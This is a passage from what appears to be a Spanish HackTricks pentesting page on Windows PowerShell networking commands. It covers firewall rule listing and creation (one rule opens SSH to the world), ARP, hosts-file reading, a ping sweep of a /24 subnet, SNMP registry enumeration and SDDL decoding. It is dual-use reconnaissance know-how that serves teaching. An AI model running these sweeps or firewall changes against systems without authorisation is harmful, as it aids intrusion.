Este comando crea una nueva regla de firewall que permite el tráfico HTTP entrante en el puerto local 80. Puede personalizar los parámetros según sus necesidades, como el nombre de la regla, la dirección (entrada o salida), el protocolo y el puerto.
Eliminar una regla de firewall
Remove-NetFirewallRule -DisplayName "Allow HTTP"
Este comando elimina una regla de firewall existente según el nombre de la regla especificado.
Estos son solo algunos ejemplos básicos de cómo utilizar PowerShell para trabajar con el firewall de Windows. PowerShell ofrece muchas más funcionalidades y opciones de configuración avanzadas que pueden ser exploradas para fortalecer la seguridad de una red.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Ruta
route print
ARP
El Protocolo de Resolución de Direcciones (ARP, por sus siglas en inglés) es un protocolo de red utilizado para asociar direcciones IP con direcciones MAC en una red local. ARP se utiliza para descubrir la dirección MAC de un dispositivo en la misma red local, dado su dirección IP.
El funcionamiento básico de ARP implica que un dispositivo envíe una solicitud ARP (ARP request) a la red local, preguntando por la dirección MAC asociada a una dirección IP específica. El dispositivo con la dirección IP solicitada responderá con un mensaje ARP (ARP reply) que contiene su dirección MAC.
ARP es ampliamente utilizado en redes Ethernet y es esencial para el funcionamiento de la comunicación en una red local. Sin embargo, también puede ser utilizado en ataques de suplantación de identidad (spoofing) y envenenamiento de ARP (ARP poisoning) para interceptar y manipular el tráfico de red.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
Los archivos de hosts son utilizados por el sistema operativo para mapear nombres de dominio a direcciones IP. Esto se hace para evitar la necesidad de consultar un servidor DNS cada vez que se accede a un sitio web. En Windows, el archivo de hosts se encuentra en la siguiente ubicación:
C:\Windows\System32\drivers\etc\hosts
Puedes editar este archivo para redirigir nombres de dominio a direcciones IP diferentes. Esto puede ser útil en situaciones de prueba de penetración, donde deseas redirigir un nombre de dominio a tu propia máquina para realizar pruebas.
Sin embargo, ten en cuenta que modificar el archivo de hosts puede tener consecuencias no deseadas y afectar el funcionamiento normal del sistema. Asegúrate de hacer una copia de seguridad del archivo original antes de realizar cualquier modificación.
PowerShell
PowerShell es una herramienta de línea de comandos y scripting desarrollada por Microsoft. Es especialmente útil para los profesionales de la seguridad informática, ya que proporciona una amplia gama de funcionalidades para la automatización de tareas y la administración de sistemas.
PowerShell utiliza un lenguaje de scripting basado en .NET Framework, lo que le permite interactuar con una amplia variedad de servicios y componentes del sistema operativo. También es compatible con la ejecución de comandos remotos en sistemas Windows, lo que lo convierte en una herramienta valiosa para los pentesters.
En este directorio, encontrarás algunos scripts básicos de PowerShell que pueden ser útiles para los pentesters. Estos scripts abarcan desde la enumeración de información del sistema hasta la ejecución de comandos remotos en máquinas Windows.
Recuerda que el uso de PowerShell para fines maliciosos o sin el consentimiento del propietario del sistema es ilegal y éticamente incorrecto. Asegúrate de utilizar estas herramientas solo con fines legítimos y dentro de los límites de la ley.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
El comando ping
se utiliza para verificar la conectividad entre dos dispositivos en una red. Envía un paquete de datos a la dirección IP de destino y espera una respuesta. Esto permite determinar si el dispositivo de destino está accesible y cuánto tiempo tarda en responder.
Uso básico
ping <dirección IP o nombre de dominio>
Por ejemplo:
ping 192.168.0.1
o
ping www.ejemplo.com
Resultados
Cuando se ejecuta el comando ping
, se mostrará una serie de resultados. Los más comunes son:
- Tiempo de respuesta: muestra cuánto tiempo tarda en llegar y regresar el paquete de datos. Se mide en milisegundos (ms).
- Paquetes enviados: muestra el número total de paquetes enviados.
- Paquetes recibidos: muestra el número total de paquetes recibidos.
- Porcentaje de pérdida de paquetes: muestra el porcentaje de paquetes perdidos durante la transmisión.
Interpretación de los resultados
- Si el dispositivo de destino está accesible, se mostrará el tiempo de respuesta y el porcentaje de pérdida de paquetes será bajo.
- Si el dispositivo de destino no está accesible, se mostrará un mensaje de error y el porcentaje de pérdida de paquetes será alto.
Uso avanzado
El comando ping
también admite opciones adicionales para personalizar la prueba de conectividad. Algunas opciones comunes incluyen:
-t
: envía paquetes de forma continua hasta que se detenga manualmente.-n <número>
: especifica el número de paquetes a enviar.-l <tamaño>
: especifica el tamaño del paquete en bytes.
Por ejemplo:
ping -t 192.168.0.1
o
ping -n 10 www.ejemplo.com
Estas opciones pueden ser útiles para realizar pruebas más exhaustivas de conectividad de red.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información sobre el estado y el rendimiento de los dispositivos, así como realizar acciones de administración, como reiniciar un dispositivo o cambiar su configuración.
SNMP utiliza un modelo cliente-servidor, donde los dispositivos administrados actúan como servidores SNMP y los sistemas de administración actúan como clientes SNMP. Los dispositivos administrados exponen información en forma de objetos gestionados, que pueden ser consultados y modificados por los clientes SNMP.
Los comandos SNMP se envían a través de mensajes SNMP, que se transmiten a través de la red utilizando el Protocolo de Datagramas de Usuario (UDP). Estos mensajes contienen una serie de variables de gestión que especifican la operación a realizar y los datos asociados.
SNMP utiliza una estructura jerárquica de objetos gestionados, organizados en una base de información de administración (MIB, por sus siglas en inglés). La MIB define los objetos gestionados y sus atributos, proporcionando una estructura estándar para la administración de dispositivos de red.
Los pentesters pueden utilizar SNMP para obtener información valiosa sobre los dispositivos en una red, como direcciones IP, nombres de host, versiones de software y configuraciones. También pueden utilizar SNMP para realizar acciones de administración, como reiniciar dispositivos o cambiar su configuración.
Sin embargo, es importante tener en cuenta que SNMP puede presentar riesgos de seguridad si no se configura correctamente. Los dispositivos SNMP mal configurados pueden ser vulnerables a ataques de enumeración, denegación de servicio y manipulación de datos. Por lo tanto, es fundamental asegurarse de que los dispositivos SNMP estén configurados de manera segura y de acuerdo con las mejores prácticas de seguridad.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Convirtiendo la cadena SDDL en un formato legible
Cuando se realiza una evaluación de seguridad en un entorno de Windows, es común encontrar permisos y configuraciones de seguridad definidos en forma de cadenas SDDL (Security Descriptor Definition Language). Estas cadenas pueden ser difíciles de entender y analizar para los pentesters. Afortunadamente, PowerShell proporciona una forma sencilla de convertir estas cadenas SDDL en un formato legible.
El siguiente comando de PowerShell se puede utilizar para convertir una cadena SDDL en un formato legible:
$sddl = "cadena_sddl"
$securityDescriptor = New-Object -TypeName System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddl
$securityDescriptor.GetSddlForm([System.Security.AccessControl.AccessControlSections]::All)
Reemplace "cadena_sddl" con la cadena SDDL que desea convertir. El comando creará un objeto RawSecurityDescriptor
utilizando la cadena SDDL proporcionada y luego utilizará el método GetSddlForm
para obtener la representación legible del descriptor de seguridad.
Este comando puede ser útil para comprender rápidamente los permisos y configuraciones de seguridad definidos en una cadena SDDL, lo que facilita el análisis y la evaluación de la seguridad en un entorno de Windows.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Propietario: BUILTIN\Administradores
Grupo: BUILTIN\Administradores
DiscretionaryAcl: {Everyone: AccesoDenegado (WriteData), Everyone: AccesoPermitido (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccesoPermitido (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccesoPermitido (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl: {Everyone: AuditoríaDelSistema AccesoExitoso (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administradores: AuditoríaDelSistema AccesoExitoso (WriteAttributes), DOMAIN_NAME\Usuarios del dominio: AuditoríaDelSistema AccesoExitoso (WriteAttributes), Everyone: AuditoríaDelSistema AccesoExitoso (Traverse)...}
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>